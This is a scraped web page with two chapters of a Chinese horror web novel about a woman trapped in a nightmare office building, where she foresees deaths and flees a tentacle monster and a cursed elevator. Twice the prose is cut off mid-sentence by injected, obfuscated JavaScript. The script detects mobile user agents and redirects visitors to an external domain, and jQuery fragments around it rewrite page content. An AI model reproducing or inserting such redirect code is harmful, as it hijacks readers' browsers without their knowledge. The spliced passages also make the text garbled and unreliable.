有男有女的上班族,静默地打包着自己桌上的杂物,装进纸箱里,最后取下工牌,扔到空无一物的桌子上,带着自己的东西,走人。旁边正在工作的同事盯着电脑屏幕,仿佛非常专心,不受影响,头也不抬。 气氛凝重,除了偶尔的键盘声,再没有别的声音,气氛压抑的可怕。 这是……裁员? 因为有了之前梦魇的铺垫,苇思航毫不费力地想到。 看来这件事极大地影响了梦境主人,苇思航再一次燃起了对梦主的好奇心。 场景变换,转眼来到了室外,天光大亮,前方矗立着13层的熟悉办公楼。 肉/体坠地的声音十分闷重,地上一具尸体被蒙上白布,周围拉起了黄色的警戒线。警车,救护车,消防车挤在门口的窄路上,不惜压上了精心养护的绿化带,穿着工作服的人员正在紧急疏散着楼里惊慌失措的人群。 更多的尸体从楼上被抬了下来。七具担架蒙着白布,一只苍白的手突兀地垂落下来。 一二三四五六七。 18. 17. 黑池(十) 眼前的景象比之前的梦魇还要可怕,苇思航惊骇无比,下意识甩开陆萌的手,这一下却也失去了平衡,直接跌倒在地上。 画面戛然而止。苇思航在楼道阴暗的应急灯灯光下,目光重新聚焦,再次看到面前那扇通往地下停车场的安全门。 “你没事吧?”陆萌急忙过来扶她。 苇思航的眼镜不小心掉在地上,又被她自己踩了一脚,陆萌帮她捡起来。 “还好没坏,差一点儿。”陆萌低头检查眼镜的伤势——镜框上添了两道划痕,除此之外并无大碍,她掰了掰两条眼镜腿,这才递给苇思航。 “你没事吧?”陆萌又问了一遍,意识到情况不对。 苇思航抱膝坐在楼梯上,全身因后怕而轻微地颤抖着,脸色苍白得吓人。 “你看见什么了?” 苇思航却反问:“你呢?难道咱们看的不是一样的?” 她的语气不甚客气,几乎是一种防御机制。 陆萌愣了一下。 “当然……不一样了,我看到我自己的未来——我醒了,精神很差,上班起晚了,被护士长骂了个狗血淋头……”陆萌道,止住话头,小心翼翼道:“你也梦见不好的东西了?” 苇思航有气无力地看了她一眼。 这个“也”字! 是是是,没错,她看到的惨案,跟陆萌上班被骂,并列“不好的东西”——简直难分高下! “如果那也是我的未来,我好像……会死。”缓了缓,苇思航道。 陆萌张口结舌的样子有点滑稽。 苇思航揉着眉心,想着那七具盖了白布的尸体,预言难道是在暗示,她是其中的一具? “那真的是现实吗?我怎么感觉比噩梦更像噩梦。”苇思航苦笑。 在陆萌的追问下,她简短地讲述了她所看到的一切。 “是现实。”陆萌沉吟片刻,给出肯定的答复,苇思航还想着能从她嘴里得到一点安慰,结果却是心更沉了下去。 “——但不一定是你的未来哦。”陆萌慢吞吞道,“怪我,刚才忘了跟你说,要心里想着占卜的对象才能奏效。” “……” 陆萌挠挠头,被苇思航杀人的目光盯得不自在,给自己找补:“这个还需要提醒吗,不用说也知道……好吧,我错了,你刚才确定想着的是自己吗?” 苇思航一愣。 她一直在纠结这个梦境的主人是谁,难道说…… “对吧!你当时想着的是别人!”陆萌一拍大腿,比苇思航还要兴奋,观察着对方的脸色,“让我猜猜……是这个梦魇的梦主?” 苇思航默认了,陆萌手托着下巴,分析继续。 “很有可能,”陆萌道,苇思航发现,这句话快成了她的口头禅,“因为你对梦主本人也知之甚少,所以也只能看到一些意义不明确的画面,不过听那意思,感觉像是……这个梦主有一个准备实施的杀人计划?你在梦魇里有找到什么蛛丝马迹吗?” 苇思航蓦地想到,那张名字后面打了红叉的裁员名单,她一直心里有种奇怪的感觉…… 陆萌自顾自推理下去:“那或许也就解释了,为什么这个人的梦魇有这么强的精神波动,毁灭级别的精神力,来自毁灭的强烈冲动……乃至在魇境,和魇怪的双重夹击之下都不落下风。” 苇思航忍不住追问。 “那我们能做些什么?” 陆萌有些意外:“难道你想做些什么?” 苇思航被反问地一下清醒过来,赧然道:“不……我又能做什么呢……” 她的精神力太弱了。可能在梦中就会被梦魇杀死,自救都费劲,更别说还想要阻止现实中的惨案。 陆萌看了她一会,笑着招呼:“做咱们能做的呗。” 苇思航木着脸,忍不住吐槽:“所以一开始干嘛要做那个占卜……” 搞得她现在人都不好了! “嘿嘿,我也第一次给别人试。”陆萌不好意思地笑笑。 合着把她当小白鼠了! 陆萌给自己开脱着:“我觉得很好啊!如果预见了好事,振奋人心,如果是坏事,哀兵必胜!” ……反正不管怎么样都赢麻了! 陆萌举起一只手握拳,像日本少女偶像那样,给彼此打气:“加油!一会冲出去!” 苇思航:“……” 陆萌活动手腕脚腕,为接下来热身,却见她把手里保命的霰/弹枪卸下,丢到一边。 “这是干嘛?”苇思航奇怪。 “其实吧……没子弹了。”陆萌诚恳道。 苇思航:“……” 怪不得陆萌一直催促着离开这里,一会触手怪没有等到新的枪声,她们就真的只能等死了。 ……但也不代表她们要赤手空拳和触手怪硬拼吧! 苇思航忍了忍,建议道:“不然我们去楼上?” 陆萌翻了翻白眼,好似在控诉苇思航把她当傻子。 “上面楼层已经都被触手怪占领了,别忘了,我是一路逃来这里的,多亏发现这颗肉瘤想到了拖时间的办法,才能坚持到现在!” 苇思航:“哦。” 陆萌的语气郑重其事:“一会咱们分开跑,尽量往车多的地方,能拖一拖它。目标去连廊,在东塔汇合,知道吗?” 干就完了! 全身热血上涌,苇思航点点头。 听到自己紧张起来的呼吸,想着对面的陆萌也是一样,苇思航感觉仿佛楼道里的空气都变得稀薄了。 陆萌掐表,准备开门前的一分钟。 苇思航又看到被丢到一旁的失去火力的霰/弹枪。 她想了想,手肘捅了捅陆萌挡在她前面的后背,轻声道:“要不你还是把枪拿着吧。” 陆萌跟着看了眼,却推脱道:“唉,算了吧,没啥用。” “要不你背着?可能还是有点用……”陆萌纠结的声音,大概还剩30秒左右,转眼又改变了主意,“要不我背着也行……” 苇思航忍不住笑了。 枪虽然没有了子弹,但对怪物而言,总还有一定的威慑作用。怪物会因为装备霰/弹枪影响它向谁跑去的选择吗?其实她们并不知晓。 她们仅仅知道的是,她们的力量太弱小,对上怪物,根本没有什么战术可言。分头跑,听天由命。 这是一个二分之一的概率问题…… 苇思航道:“别废话了,你背着吧。” 她的声音十分笃定。 最后五秒。 陆萌犹犹豫豫,终于抓起那把霰/弹枪。 三,二,一——嘭! 陆萌手持霰/弹枪,像标枪一样往头上投掷,这次准确地命中了绿色肉瘤。柔嫩的肉瘤被枪/支的尖端刺破,痛苦地抽搐起来,流出灰色的粘液,红光在昏暗中急促地一亮一灭,几乎同时,门外传来了触手怪愤怒而痛苦的嘶鸣。 “跑!”陆萌捡起地上的霰/弹枪,招呼道。 安全门被狠狠撞开,一高一矮两道身影闯入停车场,朝着连廊的方向,一左一右狂奔! 粗壮的触手碾压过一片车辆组成的废墟,发出震耳欲聋的声音,表明了主人此时的暴怒。 苇思航不回头看,敏捷地避过路上遇到的障碍物,全部力气聚集在脚上,朝着连廊的方向拔足狂奔。 破坏的声音越来越远,连廊的入口越来越近。 苇思航喘息中意识到,触手没有追上来。 她停在连廊的入口,像是临着一条扭曲的湍急河流。 只受求生本能支配的大脑在这时重新运转起来。 她要等陆萌一起,没有她在前面引路,陆萌肯定会摔下去的…… 陆萌到哪里了?快来啊! 她忍不住回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673095|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,于是看到了—— 粗壮的触手看不到头,也看不到尾,从中部虬结成一团,让它看起来就像那个青灰色肉瘤的超级放大版,它像蟒蛇一样收紧,围剿着已经到手的猎物,肉与肉之间滑腻地贴近,力量足够嚼碎血肉。堆叠起来的高度逼近地下停车场的楼顶,皮肤上的吸盘正在贪婪地吞吐,仿佛一张张无声的魇足的笑脸。 苇思航迟迟没有看见陆萌的身影。 直到,一把染血的霰/弹枪被触手欢快地推挤着掉落下来,就像食客漫不经心吐出一根啃光的骨头。 想象中,她仿佛又一次看见陆萌高挑的红发背影,好似回应她从背后投来的视线,漫不经心地摆摆手。 GAMEOVER! 苇思航来不及哀悼。转身朝连廊跑去,像她们一开始约定好的那样。 她在连廊的废墟上狂奔,脚下每一步都伴随着金属的震颤,喉咙里涌上一股铁锈般的血腥味,恐惧如影随形,在她脚下拉出长长的阴影。 连廊两边,俯瞰着的A城风貌已经消失,取而代之城市天际线的,是一眼望不到边际的黑水,其中翻涌着的如同海浪一样的暗流,细看竟是无数张扭曲变形的脸!天地之间好像只剩下她一个人,下方的黑水中似乎传来怪异的低声,正在呼唤着她的名字…… 她以一往无前的气势,跑出大概十米,三分之一的长度。 半路不知想起了什么,一瞬间的怔忪袭来。 下一秒,她一脚踩空,急速坠落。 ……可恶! * 剩余电量29%的0373车内。 “——就是这样。” 苇思航总结陈词,总算是一口气讲完了她第二次梦魇历险的全程。 梦主嫌疑人赵梓龙死了,重逢的陆萌死了……在可预见的未来中,还可能死更多的人——不仅是“灵坟”内部,还有现实中,甚至包括苇思航自己。 听过了电子音对“灵坟”的解释,苇思航现在已经不再对梦魇中的死亡抱有幻想。 她是极其幸运的,因为她出来了。现在摆在她面前的,有一条已经确定的后路:把这一切都抛在脑后,一头撞死,回到废弃停车场重新开始…… 那边电子音隔了一会才反应过来,干巴巴地捧哏:“看来是我错怪你了……你在梦魇里坚持了蛮久的,干得好……” 苇思航打断它:“所以,你明白吗?” 电子音一吓,心里有种不好的预感,当即反问:“明白什么?” 苇思航坚定道:“我有必须回去的理由。” 电子音倒吸一口冷气:“……” ——找梦主,夺梦魇,救人命! 电子音:不是……大姐你来真的啊? “剩下的电量还够我死一次……不,其实没关系了,我打算一直待在里面,直到灵坟结束。”苇思航自言自语。 不等电子音回答,她像是预料到了对方的劝阻,不想再被动摇,毅然决然按下0373的熄火键。 车灯熄灭了,仪表盘漆黑下来,空调停止了运作,黑暗和寂静侵入了这个安全的小空间。 “有缘再见了,系统。”苇思航轻声告别。 她解锁车门,拉下车窗,感受到室外的潮热,凝望着后视镜中的黑水涟漪,觉得这个时候很适合点一根烟那样,什么叫做真正的背水一战……她放任自己沉浸在顾影自怜的英雄主义中几秒。 直到耳边熟悉的怒气冲冲的声音炸响。 “……你痴线啦!老子是电子音,不代表是电动的!视死如归觉得很帅是吧,两眼一抹黑一会就傻眼了你!” “……” 电子音早已不抱希望阻止她了。 人要送死,它还能拦着? 不过至少不能过于白给…… “现在赶紧认真听我讲!什么都不知道,还想从灵坟里活着出来?” 19. 18. 黑池(十一) 重新出现在混乱的连廊上,苇思航完全猝不及防,又一次差点掉出去,千钧一发之际,她四处乱抓,堪堪抱住栏杆,用一个四仰八叉的姿势在乱流中维持。如果这时有人从其中一侧经过,就会看见一个女人用一个极其怪异的姿势悬在本应是玻璃顶棚的地方,简直像是恐怖片里爬出的女鬼。 苇思航心里那个郁闷啊,怎么也没想到再次进入梦魇会是这个尴尬又危急的时点,好像游戏读档一样,卡在了难过的关卡……她不会一开始就白给了吧? 不可以犹豫!她甩开脑子里乱七八糟的想法,她上一次的死因……沉下心来,看着眼前的连廊,全神贯注,好像要光凭目光从中找出一条路出来。 她这才意识到,之前的赵梓龙就是这样做的。 临走前,电子音絮絮叨叨,给她灌了好一碗心灵鸡汤。 “一定要相信自己,不要犹豫!强烈的渴望本身就是爆发的精神力!” “这个梦魇本身是因为梦主强烈的毁灭潜意识生成的,只有当你有更强的意识,才有可能压倒和改变它!” 哪怕一瞬间,也足以决定生死。 赵梓龙当时强烈的想要回家的心情,让他眼中出现了通往前方的“路”,因此顺利到达了终点。 同样的事情,她一定也能做到! 她一定要回到东塔,找到真正的梦主,阻止未来的惨剧! 苇思航目视前方,晕厥和恶心的感觉交替袭来,可她不去想——并不代表着忽略,相反,异常清楚地感知到,那些折磨依旧存在,可它们仅仅是在她的外壳作乱,而她的本心不再飘忽,像是始终与地面垂直的钟摆。 不一会,她发现自己开始动作起来,来时的东塔,21层的电梯口在不远处朝她招手,距离一点点缩短,胜利就在前方!全然不知自己此时落在外人眼中的样子:手代替了脚,一路时而倒立,时而四肢着地地行进,宛如一只被邪灵附身的灵活的猴子。 她倒立着安全通过了连廊,手上传来绵软而坚实的触感,到达铺着地毯的室内区,她又多“走”了几步,直到在光滑的电梯门上看到自己的影子,她反倒给自己吓了一跳。 “啊!” 苇思航一声惊呼朝前扑倒,差点因此拧断自己的脖子。 好疼啊! 苇思航眼里泛起生理性的泪水。好处是,她不用自己动手了。 电子音的告诫又出现在脑中。 “这种小范围正向精神力的爆发,很可能会引起梦魇潜意识的警觉,调动能量对你发起围剿,很容易乐极生悲,所以一定要谨慎使用!最好每次用完,为了保命自个残啥的,负面精神力抵消一下,至于程度嘛,你自己把握咯……” 苇思航颇有种恍然大悟之感。 这也就解释了赵梓龙在逃脱之后很快遭遇不测,还有在楼梯口里,陆萌霰弹自伤,竟然真的很有必要…… 梦魇自救指南123,才刚刚开始。学吧,这太深了。 苇思航扭到左边脖子,钝痛隐隐传来,一时半会转不过来。就在这时,一旁的电梯响了。 “叮——”那声音划开死寂。 苇思航一个激灵,条件反射转头,脖子发出“咔咔”两声。 捂着脆弱的脖子,苇思航无比清晰地感受到手下脉搏的跳动,活着真好……她不想死,更重要的是,她也不能再死了。 一旁,电梯到达目标楼层,门安静地滑开,露出里面空无一人又整洁干净的轿厢。里面没有可疑的血迹,没有可怖的怪物,没有头顶的肉瘤……一切看起来再正常不过,内部的光源友好地发散着光明,正静静地欢迎着她的光临。 咦,她刚刚也没按电梯啊? 想起之前几次乘坐电梯的经验,苇思航憋着一口气,梗着脖子缓缓后撤。 狗都不坐! 电梯很执着,两侧的门一直没有关闭,仿佛里面有一个看不见的人按住了开门键,在等。 苇思航试探着后退几步,接着转身,撒丫子跑了起来。她一头扎进黑暗的楼梯间,回头一瞥,还能看到那大敞着的电梯门在地上投下的规整的光带,像一个明亮的牢。 又一次置身于阴暗的楼梯间内,只是这次,她孤身一人,身边没有了陆萌,只有头顶惨白的应急灯默默地陪伴。 但是她牢记电子音告诉她的话,在梦魇中时常感到恐惧,好于投身于温暖与舒适,后者很可能隐匿着真正的危险。 她听见自己独自一人的脚步声在墙壁之间孤单的回响,每次经过楼梯的拐角,明晃晃挂着的唯一的“4”没有变过,但还是每次都会让她的心狠狠跳一下;有时,她看见身后自己的影子随着灯光移动,恍然以为身后有人追上来了…… 这个时候,她格外地想念咋咋呼呼的陆萌。 也不知道她现在怎么样了,是按照她预见的那样,已经从噩梦中惊醒,没精打采地去上班了吗?那样最好了…… 只是不知道,下一次还能不能再见面……要是她的梦灵变了样子,自己能认出她来吗? 苇思航胡思乱想着,倒也不失为某种对抗恐惧的方式。 “缅怀”完陆萌,她又很自然地想到了赵梓龙。 有一个问题,赵哥是梦灵,还是幽灵? 经电子音提醒,苇思航意识到,这个问题对于找到梦主来说至关重要,非此即彼的二分法,她很可以从这个角度入手。 因为,她要找的是一个梦灵。 * 一开始,苇思航很确定,赵哥是梦灵。 电子音问:“为什么?” 苇思航答不上来。嗅觉是一个重要指标,但她并没有在赵哥身上验证过。 电子音一口道破:“是因为他长得像你现实中认识的人吧。” 是了。苇思航想想,点点头。 她不愿相信赵哥是幽灵,难道说赵哥已经死了? “他真还不一定就是你现实中认识的那个人噢。”电子音道,“这么说吧,‘赵梓龙’是一个角色,并不代指某个演员。被吸入这个梦魇中的梦灵和幽灵才是演员,都有可能拿到他的剧本。” 整个梦魇的设计仿佛一个自由度极高的舞台剧,剧情和人设由梦主操刀,交由大量的外来“演员”扮演,在看不见的“导演”推动下,上演着提前预设好的剧情。 苇思航张了张口,想说什么。 电子音看不见,却对她的反应了如指掌似的:“你是想问,那你自己是什么情况吧?” 苇思航忙点头,又忘了电子音其实看不见。 她从来没有拿到过任何“剧本”。她一开始就知道自己是“苇思航”,梦魇中的其他人也都认可这个身份,甚至连打卡机跳出来的大头照,也都属于她本人无误。 “所以你的推断没错。梦主看来真的是你的同事啊。”电子音说,“‘梦魇’根据演员与角色之间的适配度分配角色,这里面正好有一个‘苇姐’,没人比你本人更适合了,苇思航。” “好好想想吧,在你认识的人里,谁最有可能是这个梦魇的主人?”电子音的话音好像仍在耳边回响。 苇思航心里一动,想到另一件事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15682025|173142||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剧本。 她没有印象拿到过“剧本”,但那并不代表,她的剧本就不存在…… 她是否应该期待一下,不知道梦魇还给她安排了哪些惊喜? 空荡的楼道,突然刺入急促的报警铃响,打断了苇思航的思绪,心都吓掉了一拍,她一步踩空,差点摔倒。 声音是从安全门外传来的,吸引着她一探究竟。 她站在楼梯口,安全门打开一条缝,让人神经衰弱的报警声扎进耳朵,乍见的照明连眼睛都觉得胀痛起来。 声音的源头,还是电梯。 门开得太久,引发了电梯的警报,机械地重复着,像是尖利的嘲笑。背上顿时冒出一层冷汗,苇思航这时意识到——原来她从来没有离开过21层。 开着的电梯门仍在锲而不舍地等候,轿厢内温暖的光源像是黑夜中开放的小卖部,亲切地催促着她光临,推销着她的最后一次机会。 ——还不过来吗? 苇思航像是受到了蛊惑,迈着脚步,一步一步朝着电梯间走去。 警报声乖巧地暂停了,敞开的电梯,安静中压抑着某种邪恶的兴奋,大张着嘴等待着猎物主动走进去…… 苇思航抬头,距离走进电梯仅仅一步之遥,她又看见轿厢内的镜面,映出的自己的影子。 熟悉的脸上绽放得意的狞笑。 她转头想逃,却发现自己被困在了电梯门前框出的光牢之中,不管往那个方向走,都会被偏移成朝向轿厢的方向,仿佛只剩下主动走进电梯这唯一的选择。 可去它的吧! 苇思航突然身子一矮,不过多时,手里多了一个东西,朝前狠狠一掷! 嘭的一声。 黑色的帆布鞋击中轿厢,孤零零地掉落下来,电梯门不再伪装,以匪夷所思的力气迅速闭合,如同紧咬的利齿,光牢紧跟着消失了,周围的空间发生了些微的扭曲,一瞬间的变化被苇思航捕捉。 跑! 苇思航转身,光着一只脚疾驰。这一次她没有选择重回楼道,而是选择了另一边,通往办公区的路。 身后尖利的警报声再次响起,像是某种声波攻击。苇思航没有回头,此时只有一个念头,离那座诡异的电梯越远越好! 她深一脚浅一脚地在铺着地毯的走廊上奔逃,看起来最多几十步路的地方,却像是没有尽头。头顶上的摄像头亮着绿色的指示灯,每隔一会就会重新出现。苇思航在反复几次后意识到:它们是同一个。 仿佛是梦魇的戏弄,她永远都跑不到办公区,她能做的,只能乖乖掉头,配合电梯的恶毒游戏。 难道她真的只能被困在这里? 无助和绝望涌上心头,她没穿鞋的右脚小腿肚也开始抽筋。就在这个时候,她余光瞥见无止尽的走廊边上,多出一个标志。 蓝底白字的男性人形剪影,突兀地钉在空白的墙面上。那是男厕的标志。 刚刚就有的吗?她有点记不太清了…… 仅仅一个标志而已,并没有入口。 她又经过了同样的地方几次,疑惑中脚步也慢了下来,跑变成了走。 她无法说服自己相信梦魇中出现的诡异现象,怀疑这往往预示着更大的危机。 何况看上去就够可疑的,突然出现的男厕…… 苇思航默默计数,又一次经过头顶的监控摄像头,再走几步又到了男厕标志,越走越近,她看到,走廊的墙上,凭空出现一道门——男厕的入口! 门内伸出一双手…… 苇思航再度被拽了进去。